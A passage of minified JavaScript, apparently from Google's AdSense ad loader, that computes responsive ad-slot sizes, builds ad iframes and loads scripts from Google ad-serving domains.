Di={},Ei=(Di.image_stacked=1/1.91,Di.image_sidebyside=1/3.82,Di.mobile_banner_image_sidebyside=1/3.82,Di.pub_control_image_stacked=1/1.91,Di.pub_control_image_sidebyside=1/3.82,Di.pub_control_image_card_stacked=1/1.91,Di.pub_control_image_card_sidebyside=1/3.74,Di.pub_control_text=0,Di.pub_control_text_card=0,Di),Fi={},Gi=(Fi.image_stacked=80,Fi.image_sidebyside=0,Fi.mobile_banner_image_sidebyside=0,Fi.pub_control_image_stacked=80,Fi.pub_control_image_sidebyside=0,Fi.pub_control_image_card_stacked=85,Fi.pub_control_image_card_sidebyside=0,Fi.pub_control_text=80,Fi.pub_control_text_card=80,Fi),Hi={},Ii=(Hi.pub_control_image_stacked=100,Hi.pub_control_image_sidebyside=200,Hi.pub_control_image_card_stacked=150,Hi.pub_control_image_card_sidebyside=250,Hi.pub_control_text=100,Hi.pub_control_text_card=150,Hi);function Ji(a){var b=0;a.C&&b++;a.u&&b++;a.v&&b++;if(3>b)return{A:"Tags data-matched-content-ui-type, data-matched-content-columns-num and data-matched-content-rows-num should be set together."};b=a.C.split(",");var c=a.v.split(",");a=a.u.split(",");if(b.length!==c.length||b.length!==a.length)return{A:'Lengths of parameters data-matched-content-ui-type, data-matched-content-columns-num and data-matched-content-rows-num must match. Example: \n data-matched-content-rows-num="4,2"\ndata-matched-content-columns-num="1,6"\ndata-matched-content-ui-type="image_stacked,image_card_sidebyside"'};if(2<b.length)return{A:"The parameter length of attribute data-matched-content-ui-type, data-matched-content-columns-num and data-matched-content-rows-num is too long. At most 2 parameters for each attribute are needed: one for mobile and one for desktop, while you are providing "+(b.length+' parameters. Example: \n data-matched-content-rows-num="4,2"\ndata-matched-content-columns-num="1,6"\ndata-matched-content-ui-type="image_stacked,image_card_sidebyside".')};for(var d=[],e=[],f=0;f<b.length;f++){var g=Number(c[f]);if(isNaN(g)||0===g)return{A:"Wrong value '"+c[f]+"' for data-matched-content-rows-num."};d.push(g);g=Number(a[f]);if(isNaN(g)||0===g)return{A:"Wrong value '"+a[f]+"' for data-matched-content-columns-num."};e.push(g)}return{v:d,u:e,ra:b}}function Ki(a){return 1200<=a?{width:1200,height:600}:850<=a?{width:a,height:Math.floor(.5*a)}:550<=a?{width:a,height:Math.floor(.6*a)}:468<=a?{width:a,height:Math.floor(.7*a)}:{width:a,height:Math.floor(3.44*a)}};var Li=["google_content_recommendation_ui_type","google_content_recommendation_columns_num","google_content_recommendation_rows_num"];function Mi(a,b){R.call(this,a,b)}ka(Mi,R);Mi.prototype.M=function(a){return Math.min(1200,Math.max(this.minWidth(),Math.round(a)))};function Ni(a,b){Oi(a,b);if("pedestal"==b.google_content_recommendation_ui_type)return new Bi(9,new Mi(a,Math.floor(a*b.google_phwr)));var c=Vb();468>a?c?(c=a-8-8,c=Math.floor(c/1.91+70)+Math.floor(11*(c*Ei.mobile_banner_image_sidebyside+Gi.mobile_banner_image_sidebyside)+96),a={O:a,N:c,u:1,v:12,C:"mobile_banner_image_sidebyside"}):(a=Ki(a),a={O:a.width,N:a.height,u:1,v:13,C:"image_sidebyside"}):(a=Ki(a),a={O:a.width,N:a.height,u:4,v:2,C:"image_stacked"});Pi(b,a);return new Bi(9,new Mi(a.O,a.N))}function Qi(a,b){Oi(a,b);var c=Ji({v:b.google_content_recommendation_rows_num,u:b.google_content_recommendation_columns_num,C:b.google_content_recommendation_ui_type});if(c.A)a={O:0,N:0,u:0,v:0,C:"image_stacked",A:c.A};else{var d=2===c.ra.length&&468<=a?1:0;var e=c.ra[d];e=0===e.indexOf("pub_control_")?e:"pub_control_"+e;var f=Ii[e];for(var g=c.u[d];a/g<f&&1<g;)g--;f=g;c=c.v[d];d=Math.floor(((a-8*f-8)/f*Ei[e]+Gi[e])*c+8*c+8);a=1500<a?{width:0,height:0,ia:"Calculated slot width is too large: "+a}:1500<d?{width:0,height:0,ia:"Calculated slot height is too large: "+d}:{width:a,height:d};a=a.ia?{O:0,N:0,u:0,v:0,C:e,A:a.ia}:{O:a.width,N:a.height,u:f,v:c,C:e}}if(a.A)throw new L(a.A);Pi(b,a);return new Bi(9,new Mi(a.O,a.N))}function Oi(a,b){if(0>=a)throw new L("Invalid responsive width from Matched Content slot "+b.google_ad_slot+": "+a+". Please ensure to put this Matched Content slot into a non-zero width div container.");}function Pi(a,b){a.google_content_recommendation_ui_type=b.C;a.google_content_recommendation_columns_num=b.u;a.google_content_recommendation_rows_num=b.v};function Ri(a,b){R.call(this,a,b)}ka(Ri,R);Ri.prototype.M=function(){return this.minWidth()};Ri.prototype.Z=function(a,b,c,d){var e=this.M(b);Ag(a,d,d.parentElement,b,e,c);if(!c.google_ad_resize){d.style.height=this.height()+"px";b=J(a,Of.c)||"ca-pub-9118350542306317"===c.google_ad_client;d=yf(197)?!J(a,Of.c):J(a,Of.B);e=J(a,P.c);var f=J(a,P.T)||J(a,P.L)||J(a,P.K)||J(a,P.I)||J(a,P.J);if(J(a,Of.c)||J(a,Of.B)||e||f)c.ovlp=!0;b?c.rpe=!1:d&&(c.rpe=!0);if(J(a,Jf.c)||J(a,Jf.R)||J(a,Jf.P))c.ovlp=!0}};function Si(a){return function(b){for(var c=a.length-1;0<=c;--c)if(!a[c](b))return!1;return!0}}function Ti(a,b,c){for(var d=a.length,e=null,f=0;f<d;++f){var g=a[f];if(b(g)){if(!c||c(g))return g;null===e&&(e=g)}}return e};var V=[new U(970,90,2),new U(728,90,2),new U(468,60,2),new U(336,280,1),new U(320,100,2),new U(320,50,2),new U(300,600,4),new U(300,250,1),new U(250,250,1),new U(234,60,2),new U(200,200,1),new U(180,150,1),new U(160,600,4),new U(125,125,1),new U(120,600,4),new U(120,240,4),new U(120,120,1,!0)],Ui=[V[6],V[12],V[3],V[0],V[7],V[14],V[1],V[8],V[10],V[4],V[15],V[2],V[11],V[5],V[13],V[9],V[16]];function Vi(a,b,c,d,e){"false"!=e.google_full_width_responsive||c.location&&"#gfwrffwaifhp"==c.location.hash?"autorelaxed"==b&&(e.google_full_width_responsive||J(c,hg.g))||Wi(b)||e.google_ad_resize?(b=wg(a,c,d,e),c=!0!==b?{l:a,m:b}:{l:Q(c)||a,m:!0}):c={l:a,m:2}:c={l:a,m:1};b=c.m;return!0!==b?{l:a,m:b}:d.parentElement?{l:c.l,m:b}:{l:a,m:b}}function Xi(a,b,c,d,e){var f=be(247,function(){return Vi(a,b,c,d,e)}),g=f.l;f=f.m;var h=!0===f,k=F(d.style.width),m=F(d.style.height),n=Yi(g,b,c,d,e,h);g=n.H;h=n.G;var u=n.D,w=n.F,z=n.ha;n=n.Na;var H=Zi(b,z),E,G=(E=Bg(d,c,"marginLeft",F))?E+"px":"",sb=(E=Bg(d,c,"marginRight",F))?E+"px":"";E=Bg(d,c,"zIndex")||"";return new Bi(H,g,z,null,n,f,h,u,w,G,sb,m,k,E)}function Wi(a){return"auto"==a||/^((^|,) *(horizontal|vertical|rectangle) *)+$/.test(a)}function Yi(a,b,c,d,e,f){b="auto"==b?.25>=a/Math.min(1200,Q(c))?4:3:ug(b);var g=!1,h=!1,k=$i(c),m=488>Q(c);if(k&&m||!k&&Vb()){var n=tg(d,c);h=Eg(d,c);g=!h&&n;h=h&&n}m=(g||k?Ui:V).slice(0);var u=488>Q(c),w=[Cg(a),Dg(u,c,d,h),zi(b)];null!=e.google_max_responsive_height&&w.push(Gg(e.google_max_responsive_height));k||w.push(aj(u));u=[function(H){return!H.Ma}];if(g||h)g=g&&!k?Ig(c,d):Jg(c,d),u.push(Gg(g));var z=Ti(m,Si(w),Si(u));if(!z)throw new L("No slot size for availableWidth="+a);g=be(248,function(){var H;a:if(f){if(e.gfwrnh&&(H=F(e.gfwrnh))){H={H:new Ri(a,H),G:!0,D:!1,F:!1};break a}if($i(c)||"true"==e.google_full_width_responsive||!Eg(d,c)||e.google_resizing_allowed){H=!1;var E=og(c).clientHeight,G=rg(d,c),sb=c.google_lpabyc,bg=Hg(d,c);if(bg&&2<bg&&!c.google_bfabyc&&(!sb||G-sb>E)&&(E=.9*og(c).clientHeight,G=Math.min(E,bj(c,d,e)),E&&G==E)){G=c.google_pbfabyc;H=!G;if(J(c,Jf.R)||J(c,Jf.P)){c.google_bfabyc=rg(d,c)+E;H={H:new Ri(a,Math.floor(E)),G:!0,D:!0,F:!0};break a}G||(c.google_pbfabyc=rg(d,c)+E)}E=a/1.2;G=Math.min(E,bj(c,d,e));if(G<.5*E||100>G)G=E;if(J(c,P.L)||J(c,P.K)||J(c,P.I)||J(c,P.J))G*=1.3;H={H:new Ri(a,Math.floor(G)),G:G<E?102:!0,D:!1,F:H}}else H={H:new Ri(a,z.height()),G:101,D:!1,F:!1}}else H={H:z,G:100,D:!1,F:!1};return H});return{H:g.H,G:g.G,D:g.D,F:g.F,ha:b,Na:n}}function bj(a,b,c){return c.google_resizing_allowed||"true"==c.google_full_width_responsive?Infinity:Ig(a,b)}function Zi(a,b){if("auto"==a)return 1;switch(b){case 2:return 2;case 1:return 3;case 4:return 4;case 3:return 5;case 6:return 6;case 5:return 7;case 7:return 8}throw Error("bad mask");}function aj(a){return function(b){return!(320==b.minWidth()&&(a&&50==b.height()||!a&&100==b.height()))}}function $i(a){return yf(197)?!J(a,Of.c):J(a,Of.B)};var cj={"image-top":function(a){return 600>=a?284+.414*(a-250):429},"image-middle":function(a){return 500>=a?196-.13*(a-250):164+.2*(a-500)},"image-side":function(a){return 500>=a?205-.28*(a-250):134+.21*(a-500)},"text-only":function(a){return 500>=a?187-.228*(a-250):130},"in-article":function(a){return 420>=a?a/1.2:460>=a?a/1.91+130:800>=a?a/4:200}};function dj(a,b){R.call(this,a,b)}ka(dj,R);dj.prototype.M=function(){return Math.min(1200,this.minWidth())};function ej(a,b,c,d,e){var f=e.google_ad_layout||"image-top";if("in-article"==f&&"false"!=e.google_full_width_responsive){var g=vg(b,c,a,.2,e);if(!0!==g)e.gfwrnwer=g;else if(g=Q(b)){e.google_full_width_responsive_allowed=!0;var h=c.parentElement;if(h){b:for(var k=c,m=0;100>m&&k.parentElement;++m){for(var n=k.parentElement.childNodes,u=0;u<n.length;++u){var w=n[u];if(w!=k&&yg(b,w))break b}k=k.parentElement;k.style.width="100%";k.style.height="auto"}Ag(b,c,h,a,g,e);a=g}}}if(250>a)throw new L("Fluid responsive ads must be at least 250px wide: availableWidth="+a);a=Math.min(1200,Math.floor(a));if(d&&"in-article"!=f){f=Math.ceil(d);if(50>f)throw new L("Fluid responsive ads must be at least 50px tall: height="+f);return new Bi(11,new R(a,f))}if("in-article"!=f&&(d=e.google_ad_layout_key)){f=""+d;b=Math.pow(10,3);if(e=(c=f.match(/([+-][0-9a-z]+)/g))&&c.length){d=[];for(g=0;g<e;g++)d.push(parseInt(c[g],36)/b);b=d}else b=null;if(!b)throw new L("Invalid data-ad-layout-key value: "+f);f=(a+-725)/1E3;c=0;e=1;d=b.length;for(g=0;g<d;g++)c+=b[g]*e,e*=f;f=Math.ceil(1E3*c- -725+10);if(isNaN(f))throw new L("Invalid height: height="+f);if(50>f)throw new L("Fluid responsive ads must be at least 50px tall: height="+f);if(1200<f)throw new L("Fluid responsive ads must be at most 1200px tall: height="+f);return new Bi(11,new R(a,f))}if(J(b,lg.c)||J(b,lg.aa)||J(b,lg.ba))e.ovlp=!0;e=cj[f];if(!e)throw new L("Invalid data-ad-layout value: "+f);d=J(b,lg.ba)||J(b,lg.aa);c=Eg(c,b);b=Q(b);b="in-article"===f&&!c&&a===b&&d?Math.ceil(1.25*e(a)):Math.ceil(e(a));return new Bi(11,"in-article"==f?new dj(a,b):new R(a,b))};function fj(a,b){R.call(this,a,b)}ka(fj,R);fj.prototype.M=function(){return this.minWidth()};fj.prototype.ea=function(a){return R.prototype.ea.call(this,a)+"_0ads_al"};var gj=[new fj(728,15),new fj(468,15),new fj(200,90),new fj(180,90),new fj(160,90),new fj(120,90)];function hj(a,b,c){var d=250,e=90;d=void 0===d?130:d;e=void 0===e?30:e;var f=Ti(gj,Cg(a));if(!f)throw new L("No link unit size for width="+a+"px");a=Math.min(a,1200);f=f.height();b=Math.max(f,b);d=(new Bi(10,new fj(a,Math.min(b,15==f?e:d)))).a;b=d.minWidth();d=d.height();15<=c&&(d=c);return new Bi(10,new fj(b,d))}function ij(a,b,c,d){if("false"==d.google_full_width_responsive)return d.google_full_width_responsive_allowed=!1,d.gfwrnwer=1,a;var e=wg(a,b,c,d);if(!0!==e)return d.google_full_width_responsive_allowed=!1,d.gfwrnwer=e,a;e=Q(b);if(!e)return a;d.google_full_width_responsive_allowed=!0;Ag(b,c,c.parentElement,a,e,d);return e};function jj(a,b,c,d,e){var f;(f=Q(b))?488>Q(b)?b.innerHeight>=b.innerWidth?(e.google_full_width_responsive_allowed=!0,Ag(b,c,c.parentElement,a,f,e),f={l:f,m:!0}):f={l:a,m:5}:f={l:a,m:4}:f={l:a,m:10};var g=f;f=g.l;g=g.m;if(!0!==g||a==f)return new Bi(12,new R(a,d),null,null,!0,g,100);a=Yi(f,"auto",b,c,e,!0);return new Bi(1,a.H,a.ha,2,!0,g,a.G,a.D,a.F)};function kj(a){var b=a.google_ad_format;if("autorelaxed"==b){a:{if("pedestal"!=a.google_content_recommendation_ui_type){b=ba(Li);for(var c=b.next();!c.done;c=b.next())if(null!=a[c.value]){a=!0;break a}}a=!1}return a?9:5}if(Wi(b))return 1;if("link"==b)return 4;if("fluid"==b)return 8}function lj(a,b,c,d,e){e=b.offsetWidth||(c.google_ad_resize||(void 0===e?!1:e))&&Bg(b,d,"width",F)||c.google_ad_width||0;!J(d,Qf.g)||5!==a&&9!==a||(c.google_ad_format="auto",c.google_ad_slot="",a=1);var f=(f=mj(a,e,b,c,d))?f:Xi(e,c.google_ad_format,d,b,c);f.a.Z(d,e,c,b);Ci(f,e,c);1!=a&&(a=f.a.height(),b.style.height=a+"px")}function mj(a,b,c,d,e){var f=d.google_ad_height||Bg(c,e,"height",F);switch(a){case 5:return a=be(247,function(){return Vi(b,d.google_ad_format,e,c,d)}),f=a.l,a=a.m,!0===a&&b!=f&&Ag(e,c,c.parentElement,b,f,d),!0===a?d.google_full_width_responsive_allowed=!0:(d.google_full_width_responsive_allowed=!1,d.gfwrnwer=a),nj(e)&&(d.ovlp=!0),Ni(f,d);case 9:return Qi(b,d);case 4:return a=ij(b,e,c,d),hj(a,Jg(e,c),f);case 8:return ej(b,e,c,f,d);case 10:return jj(b,e,c,f,d)}}function nj(a){return J(a,hg.c)||J(a,hg.g)};function W(a){this.h=[];this.b=a||window;this.a=0;this.f=null;this.i=0}var oj;l=W.prototype;l.Ia=function(a,b){0!=this.a||0!=this.h.length||b&&b!=window?this.pa(a,b):(this.a=2,this.wa(new pj(a,window)))};l.pa=function(a,b){this.h.push(new pj(a,b||this.b));qj(this)};l.Ra=function(a){this.a=1;if(a){var b=ce(188,Fa(this.va,this,!0));this.f=this.b.setTimeout(b,a)}};l.va=function(a){a&&++this.i;1==this.a&&(null!=this.f&&(this.b.clearTimeout(this.f),this.f=null),this.a=0);qj(this)};l.Ya=function(){return!(!window||!Array)};l.La=function(){return this.i};function qj(a){var b=ce(189,Fa(a.Za,a));a.b.setTimeout(b,0)}l.Za=function(){if(0==this.a&&this.h.length){var a=this.h.shift();this.a=2;var b=ce(190,Fa(this.wa,this,a));a.a.setTimeout(b,0);qj(this)}};l.wa=function(a){this.a=0;a.b()};function rj(a){try{return a.sz()}catch(b){return!1}}function sj(a){return!!a&&("object"===typeof a||"function"===typeof a)&&rj(a)&&Ec(a.nq)&&Ec(a.nqa)&&Ec(a.al)&&Ec(a.rl)}function tj(){if(oj&&rj(oj))return oj;var a=Bf(),b=a.google_jobrunner;return sj(b)?oj=b:a.google_jobrunner=oj=new W(a)}function uj(a,b){tj().nq(a,b)}function vj(a,b){tj().nqa(a,b)}W.prototype.nq=W.prototype.Ia;W.prototype.nqa=W.prototype.pa;W.prototype.al=W.prototype.Ra;W.prototype.rl=W.prototype.va;W.prototype.sz=W.prototype.Ya;W.prototype.tc=W.prototype.La;function pj(a,b){this.b=a;this.a=b};function wj(a,b){var c=Mc(b);if(c){c=Q(c);var d=$b(a,b)||{},e=d.direction;if("0px"===d.width&&"none"!=d.cssFloat)return-1;if("ltr"===e&&c)return Math.floor(Math.min(1200,c-a.getBoundingClientRect().left));if("rtl"===e&&c)return a=b.document.body.getBoundingClientRect().right-a.getBoundingClientRect().right,Math.floor(Math.min(1200,c-a-Math.floor((c-b.document.body.clientWidth)/2)))}return-1};function xj(a){var b=this;this.a=a;a.google_iframe_oncopy||(a.google_iframe_oncopy={handlers:{},upd:function(c,d){var e=yj("rx",c),f=Number;a:{if(c&&(c=c.match("dt=([^&]+)"))&&2==c.length){c=c[1];break a}c=""}f=f(c);f=(new Date).getTime()-f;e=e.replace(/&dtd=(\d+|-?M)/,"&dtd="+(1E5<=f?"M":0<=f?f:"-M"));b.set(d,e);return e}});this.b=a.google_iframe_oncopy}xj.prototype.set=function(a,b){var c=this;this.b.handlers[a]=b;this.a.addEventListener&&this.a.addEventListener("load",function(){var d=c.a.document.getElementById(a);try{var e=d.contentWindow.document;if(d.onload&&e&&(!e.body||!e.body.firstChild))d.onload()}catch(f){}},!1)};function yj(a,b){var c=new RegExp("\\b"+a+"=(\\d+)"),d=c.exec(b);d&&(b=b.replace(c,a+"="+(+d[1]+1||1)));return b}var zj,Aj="var i=this.id,s=window.google_iframe_oncopy,H=s&&s.handlers,h=H&&H[i],w=this.contentWindow,d;try{d=w.document}catch(e){}if(h&&d&&(!d.body||!d.body.firstChild)){if(h.call){setTimeout(h,0)}else if(h.match){try{h=s.upd(h,i)}catch(e){}w.location.replace(h)}}";var X=Aj;/[\x00&<>"']/.test(X)&&(-1!=X.indexOf("&")&&(X=X.replace(Za,"&")),-1!=X.indexOf("<")&&(X=X.replace($a,"<")),-1!=X.indexOf(">")&&(X=X.replace(ab,">")),-1!=X.indexOf('"')&&(X=X.replace(bb,""")),-1!=X.indexOf("'")&&(X=X.replace(cb,"'")),-1!=X.indexOf("\x00")&&(X=X.replace(db,"�")));Aj=X;zj=Aj;var Bj={},Cj=(Bj.google_ad_modifications=!0,Bj.google_analytics_domain_name=!0,Bj.google_analytics_uacct=!0,Bj.google_pause_ad_requests=!0,Bj);var Dj=/^\.google\.(com?\.)?[a-z]{2,3}$/,Ej=/\.(cn|com\.bi|do|sl|ba|by|ma|am)$/;function Fj(a){return Dj.test(a)&&!Ej.test(a)}var Gj=p;function Hj(a){a="https://adservice"+(a+"/adsid/integrator.js");var b=["domain="+encodeURIComponent(p.location.hostname)];Y[3]>=+new Date&&b.push("adsid="+encodeURIComponent(Y[1]));return a+"?"+b.join("&")}var Y,Z;function Ij(){Gj=p;Y=Gj.googleToken=Gj.googleToken||{};var a=+new Date;Y[1]&&Y[3]>a&&0<Y[2]||(Y[1]="",Y[2]=-1,Y[3]=-1,Y[4]="",Y[6]="");Z=Gj.googleIMState=Gj.googleIMState||{};Fj(Z[1])||(Z[1]=".google.com");ya(Z[5])||(Z[5]=[]);"boolean"==typeof Z[6]||(Z[6]=!1);ya(Z[7])||(Z[7]=[]);pa(Z[8])||(Z[8]=0)}var Jj={fa:function(){return 0<Z[8]},Ua:function(){Z[8]++},Va:function(){0<Z[8]&&Z[8]--},Wa:function(){Z[8]=0},ab:function(){return!1},Ka:function(){return Z[5]},Ga:function(a){try{a()}catch(b){p.setTimeout(function(){throw b;},0)}},Ta:function(){if(!Jj.fa()){var a=p.document,b=function(e){e=Hj(e);a:{try{var f=qa();break a}catch(g){}f=void 0}Dh(a,e,f);f=a.createElement("script");f.type="text/javascript";f.onerror=function(){return p.processGoogleToken({},2)};e=Tb(e);vb(f,e);try{(a.head||a.body||a.documentElement).appendChild(f),Jj.Ua()}catch(g){}},c=Z[1];b(c);".google.com"!=c&&b(".google.com");b={};var d=(b.newToken="FBT",b);p.setTimeout(function(){return p.processGoogleToken(d,1)},1E3)}}};function Kj(){p.processGoogleToken=p.processGoogleToken||function(a,b){var c=a;c=void 0===c?{}:c;b=void 0===b?0:b;a=c.newToken||"";var d="NT"==a,e=parseInt(c.freshLifetimeSecs||"",10),f=parseInt(c.validLifetimeSecs||"",10),g=c["1p_jar"]||"";c=c.pucrd||"";Ij();1==b?Jj.Wa():Jj.Va();var h=Gj.googleToken=Gj.googleToken||{},k=0==b&&a&&q(a)&&!d&&pa(e)&&0<e&&pa(f)&&0<f&&q(g);d=d&&!Jj.fa()&&(!(Y[3]>=+new Date)||"NT"==Y[1]);var m=!(Y[3]>=+new Date)&&0!=b;if(k||d||m)d=+new Date,e=d+1E3*e,f=d+1E3*f,1E-5>Math.random()&&sc("https://pagead2.googlesyndication.com/pagead/gen_204?id=imerr&err="+b,null),h[5]=b,h[1]=a,h[2]=e,h[3]=f,h[4]=g,h[6]=c,Ij();if(k||!Jj.fa()){b=Jj.Ka();for(a=0;a<b.length;a++)Jj.Ga(b[a]);b.length=0}};Ij();Y[3]>=+new Date&&Y[2]>=+new Date||Jj.Ta()};var Lj=zb("script");function Mj(){D.google_sa_impl&&!D.document.getElementById("google_shimpl")&&(D.google_sa_queue=null,D.google_sl_win=null,D.google_sa_impl=null);if(!D.google_sa_queue){D.google_sa_queue=[];D.google_sl_win=D;D.google_process_slots=function(){return Nj(D)};var a=Oj();Dh(D.document,a);J(D,"20199335")||!qb()||t("iPhone")&&!t("iPod")&&!t("iPad")||t("iPad")||t("iPod")?Zb(D.document,a).id="google_shimpl":(a=Rb(document,"IFRAME"),a.id="google_shimpl",a.style.display="none",D.document.documentElement.appendChild(a),xi(D,"google_shimpl","<!doctype html><html><body><"+(Lj+">google_sl_win=window.parent;google_async_iframe_id='google_shimpl';</")+(Lj+">")+Pj()+"</body></html>"),a.contentWindow.document.close())}}var Nj=ce(215,function(a){var b=a.google_sa_queue,c=b.shift();a.google_sa_impl||de("shimpl",{t:"no_fn"});"function"==wa(c)&&be(216,c);b.length&&a.setTimeout(function(){return Nj(a)},0)});function Qj(a,b,c){a.google_sa_queue=a.google_sa_queue||[];a.google_sa_impl?c(b):a.google_sa_queue.push(b)}function Pj(){var a=Oj();return"<"+Lj+' src="'+a+'"></'+Lj+">"}function Oj(){var a="/show_ads_impl.js";a=void 0===a?"/show_ads_impl.js":a;a:{if(xc)try{var b=D.google_cafe_host||D.top.google_cafe_host;if(b){var c=b;break a}}catch(d){}c=Ac()}return jf(c,["/pagead/js/",wc(),"/r20190131",a,""].join(""),"https")}function Rj(a,b,c,d){return function(){var e=!1;d&&tj().al(3E4);try{xi(a,b,c),e=!0}catch(g){var f=Bf().google_jobrunner;sj(f)&&f.rl()}e&&(e=yj("google_async_rrc",c),(new xj(a)).set(b,Rj(a,b,e,!1)))}}function Sj(a){if(!yi)a:{for(var b=[p.top],c=[],d=0,e;e=b[d++];){c.push(e);try{if(e.frames)for(var f=e.frames.length,g=0;g<f&&1024>b.length;++g)b.push(e.frames[g])}catch(k){}}for(b=0;b<c.length;b++)try{var h=c[b].frames.google_esf;if(h){yi=h;break a}}catch(k){}yi=null}if(!yi){if(/[^a-z0-9-]/.test(a))return null;c=Rb(document,"IFRAME");c.id="google_esf";c.name="google_esf";h=hf(vc("","googleads.g.doubleclick.net"),["/pagead/html/",wc(),"/r20190131/zrt_lookup.html#",encodeURIComponent("")].join(""));c.src=h;c.style.display="none";c.setAttribute("data-ad-client",Fh(a));return c}return null}function Tj(a,b,c){Uj(a,b,c,function(d,e,f){d=d.document;for(var g=e.id,h=0;!g||d.getElementById(g+"_anchor");)g="aswift_"+h++;e.id=g;e.name=g;g=Number(f.google_ad_width||0);h=Number(f.google_ad_height||0);var k=f.ds||"";k&&(k+=k.endsWith(";")?"":";");var m="";if(!f.google_enable_single_iframe){m=["<iframe"];for(n in e)e.hasOwnProperty(n)&&m.push(n+"="+e[n]);m.push('style="left:0;position:absolute;top:0;border:0px;width:'+(g+"px;height:"+(h+'px;"')));m.push("></iframe>");m=m.join(" ")}var n=e.id;var u="";u=void 0===u?"":u;g="border:none;height:"+h+"px;margin:0;padding:0;position:relative;visibility:visible;width:"+(g+"px;background-color:transparent;");n=['<ins id="'+(n+'_expand"'),' style="display:inline-table;'+g+(void 0===k?"":k)+'"',u?' data-ad-slot="'+u+'">':">",'<ins id="'+(n+'_anchor" style="display:block;')+g+'">',m,"</ins></ins>"].join("");16==f.google_reactive_ad_format?(f=d.createElement("div"),f.innerHTML=n,c.appendChild(f.firstChild)):c.innerHTML=n;return e.id})}function Uj(a,b,c,d){var e=b.google_ad_width,f=b.google_ad_height;J(a,jg.g)?(fe(!0),b.google_enable_single_iframe=!0):J(a,jg.c)&&fe(!1);var g={};null!=e&&(g.width=e&&'"'+e+'"');null!=f&&(g.height=f&&'"'+f+'"');g.frameborder='"0"';g.marginwidth='"0"';g.marginheight='"0"';g.vspace='"0"';g.hspace='"0"';g.allowtransparency='"true"';g.scrolling='"no"';g.allowfullscreen='"true"';g.onload='"'+zj+'"';d=d(a,g,b);Vj(a,c,b);(c=Sj(b.google_ad_client))&&a.document.documentElement.appendChild(c);c=Ha;e=(new Date).getTime();b.google_lrv=wc();b.google_async_iframe_id=d;b.google_unique_id=Gc(a);b.google_start_time=c;b.google_bpp=e>c?e-c:1;b.google_async_rrc=0;a.google_sv_map=a.google_sv_map||{};a.google_sv_map[d]=b;a.google_t12n_vars=vf;if(b.google_enable_single_iframe){var h={pubWin:a,iframeWin:null,vars:b};Qj(a,function(){a.google_sa_impl(h)},a.document.getElementById(d+"_anchor")?uj:vj)}else Qj(a,Rj(a,d,["<!doctype html><html><body>","<"+Lj+">","google_sl_win=window.parent;google_iframe_start_time=new Date().getTime();",'google_async_iframe_id="'+d+'";',"</"+Lj+">","<"+Lj+">window.parent.google_sa_impl({iframeWin: window, pubWin: window.parent, vars: window.parent['google_sv_map']['"+(d+"']});</")+Lj+">","</body></html>"].join(""),!0),a.document.getElementById(d)?uj:vj)}function Vj(a,b,c){var d=c.google_ad_output,e=c.google_ad_format,f=c.google_ad_width||0,g=c.google_ad_height||0;e||"html"!=d&&null!=d||(e=f+"x"+g);d=!c.google_ad_slot||c.google_override_format||!Pb[c.google_ad_width+"x"+c.google_ad_height]&&"aa"==c.google_loader_used;e&&d?e=e.toLowerCase():e="";c.google_ad_format=e;if(!pa(c.google_reactive_sra_index)||!c.google_ad_unit_key){e=[c.google_ad_slot,c.google_orig_ad_format||c.google_ad_format,c.google_ad_type,c.google_orig_ad_width||c.google_ad_width,c.google_orig_ad_height||c.google_ad_height];d=[];f=0;for(g=b;g&&25>f;g=g.parentNode,++f)9===g.nodeType?d.push(""):d.push(g.id);(d=d.join())&&e.push(d);c.google_ad_unit_key=fc(e.join(":")).toString();var h=void 0===h?!1:h;e=[];for(d=0;b&&25>d;++d){f="";void 0!==h&&h||(f=(f=9!==b.nodeType&&b.id)?"/"+f:"");a:{if(b&&b.nodeName&&b.parentElement){g=b.nodeName.toString().toLowerCase();for(var k=b.parentElement.childNodes,m=0,n=0;n<k.length;++n){var u=k[n];if(u.nodeName&&u.nodeName.toString().toLowerCase()===g){if(b===u){g="."+m;break a}++m}}}g=""}e.push((b.nodeName&&b.nodeName.toString().toLowerCase())+f+g);b=b.parentElement}h=e.join()+":";b=[];if(a)try{var w=a.parent;for(e=0;w&&w!==a&&25>e;++e){var z=w.frames;for(d=0;d<z.length;++d)if(a===z[d]){b.push(d);break}a=w;w=a.parent}}catch(H){}c.google_ad_dom_fingerprint=fc(h+b.join()).toString()}};function Wj(a,b){a=a.attributes;for(var c=a.length,d=0;d<c;d++){var e=a[d];if(/data-/.test(e.name)){var f=Ya(e.name.replace("data-matched-content","google_content_recommendation").replace("data","google").replace(/-/g,"_"));if(!b.hasOwnProperty(f)){e=e.value;var g={};g=(g.google_reactive_ad_format=tc,g.google_allow_expandable_ads=jc,g);e=g.hasOwnProperty(f)?g[f](e,null):e;null===e||(b[f]=e)}}}}function Xj(a){if(a=Bc(a))switch(a.data&&a.data.autoFormat){case "rspv":return 13;case "mcrspv":return 15;default:return 14}else return 12}function Yj(a,b,c){Wj(a,b);if(c.document&&c.document.body&&!kj(b)&&!b.google_reactive_ad_format){var d=parseInt(a.style.width,10),e=wj(a,c);if(0<e&&d>e){var f=parseInt(a.style.height,10);d=!!Pb[d+"x"+f];var g=e;if(d){var h=Qb(e,f);if(h)g=h,b.google_ad_format=h+"x"+f+"_0ads_al";else throw new L("No slot size for availableWidth="+e);}b.google_ad_resize=!0;b.google_ad_width=g;d||(b.google_ad_format=null,b.google_override_format=!0);e=g;a.style.width=e+"px";f=Xi(e,"auto",c,a,b);g=e;f.a.Z(c,g,b,a);Ci(f,g,b);f=f.a;b.google_responsive_formats=null;f.minWidth()>e&&!d&&(b.google_ad_width=f.minWidth(),a.style.width=f.minWidth()+"px")}}d=a.offsetWidth||Bg(a,c,"width",F)||b.google_ad_width||0;a:{e=Ga(Xi,d,"auto",c,a,b,!1,!0);h=J(c,ag.c);var k=J(c,ag.g);f=J(c,dg.c);g=J(c,dg.g);var m=Ih(c,11,b.google_ad_client),n=J(c,fg.g);var u=b.google_ad_client;u=null!=Gh(c,void 0===u?"":u);if(!(h||k||m||u)||!Vb()||b.google_reactive_ad_format||kj(b)||qg(a,b)||b.google_ad_resize||Lc(c)!=c)d=!1;else{for(k=a;k;k=k.parentElement)if(m=$b(k,c),!m||!Oa(["static","relative"],m.position)){d=!1;break 